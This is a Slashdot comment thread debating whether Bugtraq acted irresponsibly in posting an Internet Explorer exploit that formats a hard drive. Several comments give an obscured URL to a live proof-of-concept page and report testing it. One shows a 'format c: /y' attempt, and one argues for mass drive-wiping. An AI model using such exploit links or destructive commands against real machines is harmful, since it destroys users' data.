    Basically this is the same as another exploit posted to the list earlier, but with a new command. And for that matter, jelmer has been posting a new IE local zone exploit like every week... Any of them could have been used to make something like this, it's just no one has tried to do a format. True the jelmer posts didn't include the "run a program with arguments" thing that was posted this week, but they did show how to read/write arbitrary files and execute them. So batch file somewhere and here comes a HD format.

    So the only reason we haven't seen this I think is because like always, virus creators want their program to spread, and the quickest way to stop the spread is to kill your host, so instead we get mass mailers, trojans, etc. It was going to happen eventually.

  18. Re:Irresponsible? by Myco · · Score: 3, Interesting

    This argument that because 100% security isn't possible, we should just give up on the whole idea is specious. Companies are responsible for doing their best to provide a product that's not full of holes. Their moral liability is determined by what constitutes a good-faith effort to that end. Their legal liability depends on the legal fiction you clicked "I agree" for.

  19. This Linux's big chance! by jvmatthe · · Score: 5, Funny
    "Showing people how to automatically format hard disks from a Web page isn't 'full disclosure,'" Smith said. "It is malicious code writing."

    Now all we need is a way to embed an ISO image of a Linux system into the web page and use the same exploit to install an alternative operating system. Just think of the banner ads! "Click here to Install Linux!" and "Get That Windows Monkey Off Your Back! Hit the Monkey to Try!" and "Eliminate Windows Instabilities Forever. Click Now!". Then it won't be malicious. It'll be setting all those people FREE! ;^D
    1. Re:This Linux's big chance! by driftwood · · Score: 3, Funny

      Now all we need is a way to embed an ISO image of a Linux system into the web page and use the same exploit to install an alternative operating system. Just think of the banner ads! "Click here to Install Linux!" and "Get That Windows Monkey Off Your Back! Hit the Monkey to Try!" and "Eliminate Windows Instabilities Forever. Click Now!". Then it won't be malicious. It'll be setting all those people FREE! ;^D

      You look around, what do you see? Businessmen, teachers, lawyers, carpenters. The very minds of the people we are trying to save. But until we do, these people are still a part of that system and that makes them our enemy. You have to understand, most of these people are not ready to be unplugged. And many of them are so inert, so hopelessly dependent on the system, that they will fight to protect it.

      Apologies to the Wachowski brothers.

      --
      Where are we going? And why am I in this handbasket?
  20. Question by ChuckMaster · · Score: 3, Interesting

    Since outlook express formats html code that is sent automatically, and I assume uses the saem engine explorer does, could it be possible to send a spam email that will re-format the hard drives on all IE windows systems? scary.

  21. Re:Irresponsible? by farnz · · Score: 5, Insightful
    Nope; firstly, I have enough knowledge to disable or firewall off the services that are being exploited (and this would include disabling scripting in IE if IE ran under Linux).

    Secondly, I'd rather *know* what an exploit looks like, and thus be able to create a filter to prevent exploit packets incoming rather than just hoping that an exploit doesn't exist (because if it does, the black hats will have it, and the script kiddies will get hold of it).

    Thirdly, I have enough knowledge to help join in the effort to fix the bug; I'm not the only person with that sort of knowledge. In the situation you describe, I can attempt to tackle bugs that affect me; I'm not dependant on someone else doing it for me. Even if I was dependant on other people, I'd still prefer them to have the extra visibility into the problem that an exploit provides. I've had to debug similar errors before, and while the debugging is the hardest part, the second hardest is creating a useful test case; in your situation, I have a test case already.

  22. This EXACT sort of thing.... by Conspiracy_Of_Doves · · Score: 3, Interesting

    is why on my computer, IE doesn't even have permission to get through ZoneAlarm

  23. Where's the Mac version of the exploit? by toupsie · · Score: 5, Funny

    I just tried using the exploit code on my Mac OS X box running Internet Explorer and it didn't work. My hard disk was not formatted. I am disappointed. Why is Microsoft treating Mac users different than Windows users? Its not often that Mac OS X users get to use those nice 'Recovery CDs' that get shipped with Macs. We pay top dollar for our computers, we might as get to use everything that comes with them. Thanks a lot Microsoft! Just for leaving me out, I'm switching to Mozilla where are all the security problems and bugs are cross platform!

    --
    Strange women lying in ponds distributing swords is no basis for a system of government.
    1. Re:Where's the Mac version of the exploit? by toupsie · · Score: 4, Funny
      and that Virex thing is a waste of money.

      I thought it was a waste of money until I scanned all the M$ Office documents sent to me by Windows users. About 60% had macro viruses on them. Of course, I never noticed before and it never effected my system, but it was nice to clean out the 'Windows Cooties' from my Mac.

      --
      Strange women lying in ponds distributing swords is no basis for a system of government.
  24. If you use windows, post your IP address here. by teamhasnoi · · Score: 3, Funny

    I...uh...want to see if they are...are as numerically diverse as mine! Yeah..that's it!

    1. Re:If you use windows, post your IP address here. by nzhavok · · Score: 3, Funny
      --

      He who defends everything, defends nothing. -- Fredrick The Great
  25. Nothing to see here... by Anonymous Coward · · Score: 3, Insightful

    Neither this incident nor the wired story adds anything new to the debate.

    It's really gotten quite tiresome. Neither side of the "full-disclosure" flame war will ever convince the other, so I imagine it will continue forever.

    Keep in mind that bugtraq was specifically created to be a full-disclosure list. It's a central element of their charter. The moderator is therefore highly motivated not to block something on the grounds that it reveals too much information.

    If you think that's irresponsible, there's no need to vent about it here. You can read hundreds of megabytes of archived debate on the subject. I'm quite sure whatever argument you want to present will be in there somewhere.

    This isn't even a particularly good example to use, since the exploit was already public.

  26. I can't feel bad for Windows users. by fhwang · · Score: 4, Interesting
    There's a point past which you have to stop feeling bad for people who make certain decisions. Microsoft has a well-established history of being terrible with security, of treating it as a P.R. problem that can be fixed with lies as opposed to an engineering problem that can be fixed with quality programming. This is not an obscure fact known only to Linux kernel hackers. This is the news we're getting now on CNN and other mainstream news sources.

    So if you're using a Windows box, I've got to assume one of three things is happening:

    1. You're ready to have a hair-trigger response to the constant stream of security patches and updates you'll need to use. You probably have up-to-date virus protection software, and you probably work in an office with really paranoid, on-the-ball IT staff.
    2. For whatever reason, you don't care that your files could get mangled, erased, and resent: Maybe nothing's that critical, maybe you're just playing around, maybe you make constant backups.
    3. You're completely irresponsible.

    And, yes, it would be different if this were Linux, or BSD, or even MacOS. All those operating systems come with companies or communities who take security seriously, and they respect their users enough to not foist insecure features on them. You can have the reasonable expectation that running any of those OSes let you worry about security a lot less than running a Windoze variant.

    If you had a nice apartment in the middle of New York, and you constantly left the front door unlocked, and then one day somebody walked in stole your stereo, I'd feel bad for you. But, you know, not too bad.

    1. Re:I can't feel bad for Windows users. by Tenebrious1 · · Score: 5, Insightful

      If you had a nice apartment in the middle of New York, and you constantly left the front door unlocked, and then one day somebody walked in stole your stereo, I'd feel bad for you. But, you know, not too bad.

      But it's not like that at all. It's more like I lock my front door. I ask my super "am I secure?" and the super replies "yes, absolutely."

      Then I learn there's a fire escape. I say "The fire escape was unlocked." and the super replies "oh, yes, it was unlocked." So I lock the fire escape.

      Then I find a closet door isn't a closet at all, but leads directly to the next apartment. I lock that. Suddenly, a section of all turns out to have a door that's been wallpapered over. Under the rug there's a trapdoor leading to the apartment below me. Hidden behind the fridge is a dumbwaiter. The entire fireplace rotates ala Indy Jones. I cry in exasperation to my super, who just says "well, aside from all those holes, your apartment is secure."

      --
      -- If god wanted me to have a sig, he'd have given me a sense of humor.
    2. Re:I can't feel bad for Windows users. by xrayspx · · Score: 3, Insightful
      And, yes, it would be different if this were Linux, or BSD, or even MacOS. All those operating systems come with companies or communities who take security seriously, and they respect their users enough to not foist insecure features on them.

      I am a GNU hippy, I avoid using Windows on the desktop except when necessary, but I have to disagree.

      Insecure features like:

      • RPC
      • LPD
      • WUFTPd
      • Telnet
      • Sendmail
      • BIND(? BIND for christs sake?)
      • X listening remotely
      All running by default?
    3. Re:I can't feel bad for Windows users. by Monkeyman334 · · Score: 3, Informative

      You are either a Windows 98 user or not a Windows user at all, because you don't seem to know the first thing about Joe Schmoe security in Windows. Windows XP, Me, and quite possibly Windows 2000 all have auto update features. It notifies you when there are updates to be downloaded, then it will automatically download them, press again to install, and the changes will take effect next time you reboot. I never go more than a day without a security updates, all with less effort than checking my email. If you chose to you could also set it not to prompt you before installing updates, but with all the FUD slashdot likes to spread about XP running behind your back, I thought I'd let everyone know the process that *does* prompt you and shows you a list of the updates. And it does let you uninstall updates if for some ungodly reason it breaks some software.

  27. Re:Irresponsible? by ahaning · · Score: 5, Funny

    ssh into your box, su to root, then fsck your harddrive

    I wouldn't be so pissed as long as the attacker did this often. It's such a hassle to wait for my system to do a monthly e2fsck when the partitions have readched their maximal mount count.

    --
    Withdrawal before climax is very ineffective and those who try this are usually called "parents."
  28. Another Link by sdjunky · · Score: 5, Funny

    Here's some more info... click this link it's ok.. you can trust it... go on.. you know you want to.

    Nothing to fear. Just a link.

    1. Re:Another Link by _ph1ux_ · · Score: 4, Funny

      send this to people with the subject:

      Want to take a break? Click here - and see how you can have a much deserved break from work right now!

  29. All comments so far should be modded "-1 RTFA" by CrystalFalcon · · Score: 3, Informative

    And possibly -1 RTFE (Exploit).

    The advisory quoted only points out how it is possible to combine already well-known OTHER exploits into a way to run commands with parameters in the local context.

    Also, last time I checked, you could not format a hard drive just by typing "Format C:". You also have to type "yes" two or three times, quote the volume label back to the FORMAT program, and a couple of other safeguards. Saying that "Web sides format your harddrive" is sensationalism. Yes, they can run programs on your hard disk. (We've seen these kinds of sploits before. They're bad, yes, but not new.) But can it format your hard drive? Not so.

    It should also be noted that the exploit paper points out that the author has discovered another way to achieve the same effect, but that details will not be disclosed until the vendor (MS) has patched the problem.

    I don't think it is irresponsible (at least not of the magnitude suggested) to quote others' works and say that the vulnerabilities still exist.

  30. No!!! by Rupert · · Score: 4, Insightful

    There was already working code posted that exploited the vulnerability but did not format your drive. There was no need to add that payload to the exploit. It's like handing out a vaccine that you have modified to have worse side effects than the original disease.

    --

    --
    E_NOSIG
    1. Re:No!!! by Beautyon · · Score: 3, Informative

      There was no need to add that payload to the exploit.

      The way that the example was written (its modular) made it trivial to add any function you want to it; pop up a window, run notepad.exe, delete a drive...all it takes is a simple substitution.

      I have to agree that if millions of people had thier installations deleted something would happen, at the minimum, everyone, everywhere would be scared shitless about surfing with IE....and that would be a very good thing.

      This is "terrorism" right?

      --
      ATH0 Bitcoin: 1DnwFLXczVZV8kLJbMYoheUrpqHesjxrSi
    2. Re:No!!! by Beautyon · · Score: 3, Interesting

      Wake up you retard.

      Already awake; using Mozilla exclusively.

      MS addicted office drones and the like dont take security seriously enough. Everyone (except maybe you) knows this. This is why those pathetic worms spread a quickly as shit through a goose, week after week.

      If one million people all got wiped out by one exploit, it would forever change the worlds prespective about MS products. Certainly, all the people who have been warned for years would suddenly take the concept of switching from Outlook / IE much more seriously.

      Mass mailing worms are too easy to clean out with AV software. Everyone thinks that they are a minor issue at best....completly wiping a hard drive.

      That is something utterly different.

      It would be the ultimate wake up call. It would make a difference. Think about it; what if someone planted this on every link at the front page of CNN.com?

      Use your inmagination.

      --
      ATH0 Bitcoin: 1DnwFLXczVZV8kLJbMYoheUrpqHesjxrSi
  31. Prevention BEFORE patching! by corvi42 · · Score: 5, Insightful

    I'm not sure about the details of the current case, but there is a very good reason for publishing full technical details about an exploit before patches come out. That is that it may be possible in many circumstances for aware and knowledgeable system administrators to prevent the exploit from affecting machines within their control either at a central point, like a firewall or proxy, or by disabling software features until a patch is available.

    For example a web proxy might be able to scan for the presence of the malicious code in question, but if that code is not available to the sysadmins, then how can they make appropriate filters? Also being aware of the ways in which these exploits work could allow sysadmins to make more general security policy decisions in terms of what users / processes are allowed to access what areas, etc. I'm not saying that it could be done in this case, but could in many others.

    This could save a company a lot of time and money, and is therefore a good thing. It is not true to say that only the party responsible for producing a patch needs to see the actual code for security reasons.

    --

    There are a thousand forms of subversion, but few can equal the convenience and immediacy of a cream pie -Noel Godin
    1. Re:Prevention BEFORE patching! by fizbin · · Score: 5, Insightful

      corvi42 wrote:

      I'm not sure about the details of the current case

      Then that's easy to fix: (all links to the neohapsis archive, since it's just nicer to look at than securityfocus)

      1. The original advisory about the IE bug (note that it includes sample code to execute "winmine") [Nov. 6]
      2. The post pointing to zdnet forums. Note that it is on the ZDNet forums that this format code first appeared - I find it most odd that Wired chose not to mention that. [Nov. 11]
      3. The post that got everyone's panties bunched up. Someone took the code that was on that ZDNet forums thread and posted it to Bugtraq. [Nov. 14]

      One especially noteworthy point: Microsoft was informed of the bug on October 4th.

      So:

      • The original discoverer (that we know of), Sandblad, acted responsibly.
      • Bugtraq was being perfectly responsible in posting Sandblad's advisory
      • The format exploit code was free for the taking on public forums
      • Bugtraq published the format exploit, creating a PR issue for Microsoft, after said code had been public for three days

      My opinion? A wired writer needed a story.

  32. And wrong. by CrystalFalcon · · Score: 5, Insightful

    The article is stupid and wrong.

    The sploit paper says that MS was contacted about the combined exploit October 4, which is not in November, and that they have closed the issue with a "will not be patched because XYZ" statement, which is not to be investigating the issue.

    Two critical wrongs in fact out of two possible. I just felt a sudden urge to trust the rest of the article so much more...

  33. What luck! by Alizarin+Erythrosin · · Score: 4, Funny

    Microsoft is sending some of their people here tonight to give a talk about how cool they are and how fun it would be to work for them (recruitment meeting). I think I'll mention this exploit to them and see what their response is.

    The joke they always make is "For those of you who want to work in software testing... Yes, we do test our products (wait for laugh)"

    --
    There are only 10 kinds of people in this world... those who understand binary and those who don't
  34. New distributed client built in to Windows! by teamhasnoi · · Score: 4, Funny
    Microsoft(TM) Press Release 11-19-02

    Microsoft(TM) intrudes^w introduces an incredible new PR nightmare^w^w way to work(TM)!

    Trojaned@Home(TM) - work on any problem you want(TM)! Set millions of CPUs working at a moment's notice(TM)! Every copy of Windows(TM) has this glaring security hole(TM)^w^w^w feature(TM) built in!

    Trojaned@Home(TM) is super fast, due to Microsoft(TM)'s secret Code Hider^w Layering(TM) technology, which ensures that it's always on(TM), and ready to work for you(TM)!

    See the power of the internet(TM) multiplied by millions(TM) of smart Windows(TM) users today!

    Use Trojaned@Home(TM)!

    Ha! You already are(TM)!

  35. Good idea, let's try! by CrystalFalcon · · Score: 3, Informative
    Actually, this is worth wasting a computer for. Let's find out. The man page for format does not mention any /y switch, so I'm sceptical, but let's try it nevertheless. There is no volume label on the drive, so I've removed that safeguard by hand as I try this:
    C:\>format c: /y
    Invalid parameter - /y
    What a disappointment. I had almost started to prepare for making a shiny new installation here. Ohwell, at least we know it doesn't work (like I claimed in the first place).
  36. Re:what is the stink about it.... by Havokmon · · Score: 5, Insightful
    Those who think, "We should give MS a couple months to find an appropriate patch" are sadly misguided. Do you think a script kiddie or hacker is going to wait?

    While I agree with you in principal, and I'm sure we share the bond of 360k floppies with zipped copies of viruses, I have to disagree with the details.

    I remember a time when the source code for some vulnerabilities was disclosed, but with errors. If you didn't know how to fix the error, you couldn't use the vulnerability. This way, it was kept OUT of the hands of script kiddies, but put INTO the hands of those with a clue on how to fix the problem.

    I'd be willing to bet 95% of the break-ins on the internet are plain old script kiddies. IMHO, there isn't any more port scanning going on, there isn't any more social engineering of the average joe's desktop pc. That sort of work is left to the 'expert' black hats, trying to get into the 'treasure chest'. The rest are lamers just running what they found.

    IMHO, if BugTraq is going to post vulns, they need to be non-working, and the user has to have the knowledge to fix them. Especially on closed platforms, it does less good release exploits for code you can't fix, because you're not fixing the problem, you're just working around it.

    --
    "I can't give you a brain, so I'll give you a diploma" - The Great Oz (blatently stolen sig)
  37. Re:Any kind of bugtraq mailing list by Kaa · · Score: 4, Insightful

    Only people who need that information should be allowed to it.

    Of course. That is why from now on we have instituted a simple procedure that must be followed any time you want to buy a book or read one in a library.

    Just submit to the nearest government office the Request For Information Access form (RFIA-1984) together with all the necessary documentation proving that you need the information. In due time the form will be returned to you, stamped "approved" or "rejected". If it has been approved, take this form to your book dealer or library and you will be granted access.

    Please be aware that having multiple requests rejected can adversly affect your future.

    Have a pleasant day.

    --

    Kaa
    Kaa's Law: In any sufficiently large group of people most are idiots.
  38. Dissapointing WINE performance by sonra · · Score: 5, Funny

    Found the code, made a web page and verified the exploit with ie5 win200...
    Tried it on WINE using CrossOver Office.
    and was very disappointed to find that WINE once again did not live up to it goal of being bug for bug compatible with windows.

    All i got was HTML help and a script error. No files written to my "C:" and no exploit.

    *sigh* Guess WINE still needs some work.

  39. I once "discovered" a virus... by venomkid · · Score: 4, Insightful

    ...which a friend and I posted to bugtraq. It turned out to be a previously undiscovered variant of the semisoft virus, which we'd dubbed "net.666" for a few reasons (just so you can check my story).

    We made a web site that showed how to clean an infected system and had downloadable infected files for virus researchers. At the request of some of the researchers, we took off the files and gave an email address for researcher requests instead.

    Surprisingly, we got emails from script kiddies (some posing as researchers, some not) trying to get copies of the virus.

    But, by the end of that week, there were separate executables from a few companies implementing our cleaning methods, and the next round of signatures could detect it.

    I think it would have been a better idea for these guys to just post the solutions and keep the exploit code itself as secret as possible. MS will prettymuch HAVE to deal with this one. It's the kind of exploit you hear about in hoax emails, but I don't think it's going to make their lives much easier knowing that this exploit is so widely available, not to mention the people who get hit by it.

    vk.

    --
    vk.
  40. pleeaase... by Tom · · Score: 3, Informative

    Not the whole full-disclosure discussion again. The topic has been discussed to death on pretty much every security-related mailing list, newsgroup, whatever for the past years.

    And frankly, if you surf with IE, which has known security holes that have been unpatched for well over a year, you simply deserve whatever you get.

    --
    Assorted stuff I do sometimes: Lemuria.org
  41. Patch by arestivo · · Score: 3, Funny

    You can get a patch here.

  42. OT but relevant by theolein · · Score: 4, Interesting

    Under Mac OSX 10.1, Internet Explorer 5.1.2 runs as root or as some kind of su and has access to the entire system and basically doesn't care if you have directories ath you would rather protect. Mozilla respects FS protections. Under MacOSX the Java JDK documentation is hidden away in the the Frameworks/Java... directories where a non admin user has no access. To browse these I usually make a link in my browser to the index.html file and carry on from there. I discovered that IE lets you in everywhere it can go while Moz doesn't.

    Differing perspectives on security, I suppose.

    1. Re:OT but relevant by Espen · · Score: 4, Informative

      A simple 'ps ux' suggest IE runs as the user who launched it, not root. Something else must be going on here.

  43. Re:BAD BAD BAD! Why? Now the script kiddies have i by adb · · Score: 5, Funny

    Right, because script kiddies don't hang out on IRC and get this stuff before Bugtraq. Also, the sky is not blue and there is no porn on the internet.

  44. Schneier on "Full Disclosure" by Charles+Dodgeson · · Score: 5, Informative

    The most sensible thing I've ever read about this kind of question is crptogram article last year by Bruce Schneier.

    --
    Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
  45. Not alright even if "everyone else is doing it" by krinsh · · Score: 3, Interesting

    Just because you can find the code "everywhere else on the web" does not mean you should share the code yourself. I find something like this akin to leaving porn magazines in your yard because the neighborhood kids will find them in the trash bin (or surfing the net - sic) anyway.

    It's like "I know how to hang a person - here, let me give you a demonstration." Does sharing the code that can cause the problem allow you to protect yourself against it? Probably not; unless you are out there building tools to protect us - that's right US, including the very experience tech people here - against such attacks.

    I don't like the idea of non-disclosure. I want to know if there is a potential that something bad could happen to me or my clients; and that I should start working on or be on the lookout for preventative measures. That's why we have vulnerability lists. In that same hand I believe that Too Much Information is not polite - to the users and the vendor. Here's how you make the gun; oh and here are some bullets. It is almost criminal in its intent - considering the mindset of many today it *is* criminal in its intent - regardless of target.

    --
    I think with the interesting people, their lives can't possibly be wrapped up into a nice little package.
  46. SuperVirus by Deathlizard · · Score: 4, Interesting

    The exploit doesn't scare me as much as it adds more fuel to the SuperVirus theory I've been worried about for awile.

    I believe that it's only a matter of time before someone creates a "SuperVirus", A Virus with all previously successful exploits, and unleases it on the world.

    With the recent outbreaks of klez, code red, nimda, kak, sircam, and other viruses that do minor damage and proliferate fast through multiple exploits its only a matter of time until a script kiddie gets it into his head to combine them all and make a virus that infects everything, spreads though multiple existing holes, and does a massive amount of damage via either DDOS, Format after a set time, or Both.

    1. Re:SuperVirus by theLOUDroom · · Score: 3, Insightful

      I disagree. First off script kiddies don't really do very much. If they do ever write code, it's a tiny little program to do one or two things.
      I don't think that any of them are going to write a super virus because that would take a lot of work. They may get a kick out of reformatting someone's box but the aren't going to code for months to be able to do so.

      What I would worry about is someone writing a hacking application. It would have a database of most know root exploits for the last 20 years. You could pick your target IP address and it would use programs like nmap to try and figure out as much as possible about the target(s) and then it would start trying all know exploits for that system.
      A program like this would actually be worth a serious black-hat hacker's time. Especially if it was written in a way the made it easy to update the database when new exploits were found. It could have a nice GUI and everything.
      Luckily, someone white-hat would take the same program and extend it so that the database includes way to fix all the vulnerabilities. Sysadmins could run it on their own networks.

      --
      Life is too short to proofread.
  47. Re:Irresponsible? by Sherloqq · · Score: 4, Interesting

    "Symantec's actions give the impression that they are encouraging people to create and release malicious code. Given that Symantec also sells security and antivirus software, I think there is a terrible conflict of interest here."

    I have to admit I wonder about this myself from time to time.


    On one hand, I agree. This can be viewed as attempt by Symantec to increase market share / profits by exploiting someone else's mistakes, and can certainly be viewed as inapropriate, a conflict of interest etc.

    On the other hand, though... we have a software company with a not-so-stellar track record regarding security in their browsers and/or email clients, not to mention other avenues like operating systems. Moreover, a company that apparently refuses to learn from their mistakes, frequently brushes vulnerability reports aside as "unimportant", "insignificant", and essentially creates a market for companies like Symantec.

    Business practices / exploit-with-no-patch-disclosing aside, what's wrong with Symantec developing security / antivirus software while exploring the operating system their software was made for and finding / reporting bugs?

    If there was a certain home builder who notoriously installed windows (pun not intended) that could easily be opened from outside by anyone (e.g. a thief), and if I came up with a way to secure such windows (like, custom made-to-fit window bars that go perfectly with your house), why wouldn't you want me to 1) manufacture and advertise my security device, and 2) advertise the fact that the builder refuses to fix / replace the windows with a better model? Would you prefer that your home were insecure and you not know about it? Or would you rather know that there's an easy way into your home that anyone can access with a $5 tool? Wouldn't you rather be protected?

    As I said, aside from the way that Symantec approached this particular problem, I don't necessarily think there's a whole lot of a conflict of interest here.

    --
    Have EVDO, will travel.
  48. Yawn by cyranoVR · · Score: 4, Insightful

    It seems like every couple weeks there is an article on /. to the effect of "BIG HOLE IN IE/XP/[MS APP HERE] DISCOVERED. THE END IS NEAR! REPENT, MS USERS" etc etc...ZZZZZZZzzzzzzzzZZZZZZZ -_-

    There are only so many times you can read a headline like that before the "cry wolf" factor starts to kick in. All these "bugtraq" alerts are academic...theoretical...What I want to see is a headline that reads Merrill Lynch crippled by XP flaw. Plans to sue MS for millions $$$ damages or somesuch. Or at least a story of an actual user whose life was ruined by an actual MS security hole. Something tangible...Now THAT would be interesting!

  49. Re:Irresponsible? by thomas.galvin · · Score: 5, Insightful

    If Linux had an exploit that allowed someone to ssh into your box, su to root, then fsck your harddrive, and a patch wasn't released yet, would you be pissed off that bugtraq posted the code to exploit the bug?

    No, and here's why; if I have working code that roots my box, I can start looking for ways to prevent it from running. Know yourself. Know your enemy. The easiest way to beat something is to study it.

    Now, that isn't an option in the case of IE, but I don't run it anyway. Still, there is at least some value in being shown how to exploit a vulnerability; it proves that it is real. I could send out an email tomorrow saying "Mozilla has a huge security bug that allows arbitrary execution of malicious VBScript," but unless I show you how, most (technical) people will assume I am blowing smoke. If I put up some code that demonstrates it, though, most (technical) people will say "crap, better 1. stop using Mozilla, or 2. get to hacking out a fix."

  50. Wired's "article" is basically... by talks_to_birds · · Score: 4, Insightful
    ...a puff piece for alleged "security expert" Richard Smith, who has a long-standing agenda about full disclosure.

    What new ground is broken here?

    None.

    The simple fact remains that Micro$oft produces products that are riddled with the most egregious of security lapses, and that Micro$oft has an unrivaled history of dragging it's feet/passing the buck, even when billg is hit over the head repeatedly with the fact that his minions have unleashed yet another f*ckup on the unsuspecting public.

    So, it's possible to contrive html that, when viewed on a remote web site, reformats the local hard drive of the box IE is running on?

    Are you kidding me?

    billg and every single idiot who was anywhere close to being involved with this f*ckup should be sued for every last penny they have.

    As for full disclosure, let 'er rip.

    It's the only way Micro$oft will ever be held in the least bit accountable for their crap.

    t_t_b

    --
    I'm on PJ's "enemies" list! Are you?
  51. Re:Irresponsible? by FortKnox · · Score: 3, Insightful

    MS has only had a week or two with the knowledge of this bug (article mentions that MS learned in November aka this month some time). For such a huge exploit, I'd suspect it'll take a week to pinpoint the code error, a week to fix the code, and two to four weeks of testing it.

    That's about a month/month-and-a-half. Don't you think they deserve a good solid two months before posting the exploit?

    --
    Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
  52. Fight Fire with Fire by raehl · · Score: 3, Interesting

    Ok, so Microsoft illegally uses their market power to drive competition out of the marketplace.

    Anti-microsoft zealots post the code to take advantage of an IE security hole, allowing malicious coders to erase Microsoft from the marketplace.

    Do both suck for the end user? Yes. But they're also both Microsoft's fault.

    Let's face it, this is a case where it is 100% ok to blame Microsoft for having a crappy product. If Ford screwed up and made a car that anyone could unlock and start by doing something special to it, allowing the car to be easily stolen by anyone, you wouldn't blame the guy who posted how to do it on the Internet, you'd blame the Ford engineers who screwed up the design in the first place and the people who let that mistake out of the factory.

    Microsoft screwed up, Microsoft customers get screwed over, Microsoft's fault.

    1. Re:Fight Fire with Fire by fferreres · · Score: 3, Insightful

      In fact, it's very easy to rob a car, and the ones blamed are the thiefs, not Ford. Also, that's why you have insurance, I don't see Ford putting a lot of efforts in anti-theft technology.

      With computers, it's a little different. You can't get insurance and the equivalent of "robbing a million cars in a day" is easy as writing a good worm. So Microsoft has to be more carefull, we are trusting our data and business to them, and they should show more caring for the customers.

      We demand security, LESS features, ADDED security. At some point, people asked features, now they ask security. The ones asking for more features should know of that trade-off. They do not often link features with code harder to secure.

      --
      unfinished: (adj.)
  53. Wrongly Phrased by Srin+Tuar · · Score: 5, Insightful

    If you were confronted by someone who had just lost a bunch of important data because of this exploit, do you really think they'd be impressed if you said "But I was trying to make a very important point to Microsoft!".


    Instead of that, you should say "By not fixing the bug, Microsoft was trying to make a very important point to you!"


    Then they will at least be angry at the right entity.

  54. just a rehash of an old advisory by neoThoth · · Score: 3, Informative

    This is just a copy of Andreas Sandblads advisory, with a new command.

    http://wwx.dino-soft.org/auto.html

    note: prefix altered in "wwx". Needs to be reversed into "www" to make the URL work -

    The above url when viewed WILL FORMAT THE A:\ drive when viewed on a fully updated and patched windows system. If you go there make sure there is nothing in the A:\ that formating will harm; because this has been tested
    and works on Windows 2000 WinXP/home/corp/pro Win98/SE.

    This is a harmless POC to give you experts here a heads up; because Microsoft HAS been informed of the hole; but they seem to be sitting on there hands maybe much like the recent XP hole that they knew about before XP even shipped; but chose to wait until SP1 to correct.

    This is VERY DANGEROUS, and this little harmless POC could quite easy be made to be quite nasty; but when the author of the original hole who's hole I have sort of legoised and made to work a very little bit differently Microsoft had this to say to the original author:

    "Microsoft was initially contacted 2002-10-04. After several mail exchanges, their final response were that the technique used to run programs with parameters from the "Local computer zone" was no security vulnerability. A fix should instead be applied for all possibilities for content in the "Internet zone" to access the "Local computer zone".

    1. Re:just a rehash of an old advisory by Krellan · · Score: 3, Interesting

      True. This URL was the first mentioned on Bugtraq when this exploit was announced.

      http://wwx.dino-soft.org/auto.html
      (scrambled for your protection, as always: change wwx to www)

      I tried it on two Windows 2000 machines.

      One is patched up to date, the other is somewhat out of date. Both have SP3, though.

      Results: The exploit failed on both machines.

      When clicking on the link, four things pop up, each popping up on top of the previous:

      1. The URL above, with text "Testing IE Execute Exploit"
      2. MSIE help window, standard help contents, exactly the same as hitting F1
      3. Empty "HTML Help" window, half size
      4. An error message box: "This operation can only function within HTML Help".

      So, I don't know the exact conditions that are needed to trigger this bug, but machines are not 100% vulnerable at this point.

    2. Re:just a rehash of an old advisory by TrevorB · · Score: 3, Interesting

      Well, here goes 2 mod points I spent on this thread...

      We've tested this on 4 boxes here. I actually took another variant of this script (the one that wrote a file to your C:\ folder and opened minesweeper) and modified it to run CHKDSK, and put it on my work webserver. The results:

      My desktop XP w/ IE6: blammo. It's exactly as they say it is. Brown trousers time.

      Co-workers Win2k w/ IE6: no effect. Much as you describe above

      WinNT box with IE5.5: blammo. More brown trousers time.

      Win98 box with IE5.5: no effect.

      While it doesn't seem to work on 100% of machines (Win##'s are immune?) it does seem to work on others.

      The script is just 30 lines long, and that's including spacing and comments. Even if MS came out with a quick patch, the amount of damage you could do to 50% of the PC/IE systems out there could be pretty staggering.

      Let's hope nobody hacks CNN and replaces their frontpage tonight.

  55. Responsibility by BrianWCarver · · Score: 4, Insightful


    It seems that what's really irresponsible is not what Bugtraq did, but running IE to begin with. It's history of security flaws and exploits along with Microsoft's foot-dragging responses make it utterly irresponsible to run such software.

    That said, no one is immune from security exploits. The argument for posting it to Bugtraq seems mainly to be that this motivates the vendor to move quickly now that their customers know about the exploit and now that nefarious types have easier access to it. (Don't fool yourself into thinking the most malicious types didn't usually already acquire it by other means.)

    But if what we really want to do is motivate vendors to patch things quickly, it should be the first rule of Bugtraq that no exploit is posted until the vendor is informed. Most linux security exploits are resolved within about 48 hours, while it is true that Microsoft often takes weeks or months. Given our competing interests in both informing the vendor privately and getting information to the public, we should balance these in a reasonable way. One such solution might be that Bugtraq adopt a rule that after a vendor is informed, they have 48-72 hours after which time it will be posted.

    For both the responsible vendors and the free software community this approach would balance our interests in minimizing exploits while a solution is actively pursued while also acknowledging the benefits of full public disclosure.

    In the case of smaller vendors than MS who might not have the resources for such a quick bug-fix, an appeal process could be instituted wherein the vendor may contact Bugtraq during the initial grace period and request an extension. Guidelines based on the resources of the vendor and the seriousness of the bug could be used to determine whether another 48-72 hours should be granted.

    BWCarver

    --
    Like Digital Freedoms? Then donate to EFF before they're gone.
  56. hack update.microsoft.com by Tom · · Score: 3, Insightful

    Now if only someone could break into update.microsoft.com and put the exploit there...

    (The windos update program uses IE. Good design decision to use your most insecure piece of code for security updates, isn't it?)

    --
    Assorted stuff I do sometimes: Lemuria.org
  57. He Gave Them a Month by serutan · · Score: 5, Informative

    If you read Sandblad's actual BugTraq posting you will see that he had notified Microsoft more than a month before posting the details of the exploit. Quoting:

    Microsoft was initially contacted 2002-10-04. After several mail exchanges, their final response were that the technique used to run programs with parameters from the "Local computer zone" was no security vulnerability. A fix should instead be applied for all possibilities for content in the "Internet zone" to access the "Local computer zone".

    How much time does a company have to actually fix a problem this serious? When somebody takes the trouble to notify a company about a defect, they've already demonstrated helpfulness and responsibility. It would make sense for the company to take that helpful, responsible person into the loop, and at least update them periodically about what is being done about the problem. That would give a helpful person like Sandblad a basis for continuing to wait. In this case Microsoft gave no indication that they were doing anything about the problem or intended to do anything about it. Continuing to sit on the information certainly wouldn't give them any further incentive. Sandblad reported this problem, got a thanks-but-no-thanks, then after a month of no news went over their heads to the public. I would say he handled it very responsibly.

    1. Re:He Gave Them a Month by SuiteSisterMary · · Score: 3, Insightful

      If it only works if run from computers in the 'local computer' zone, then no, it's not a security hole, it's operation by design.

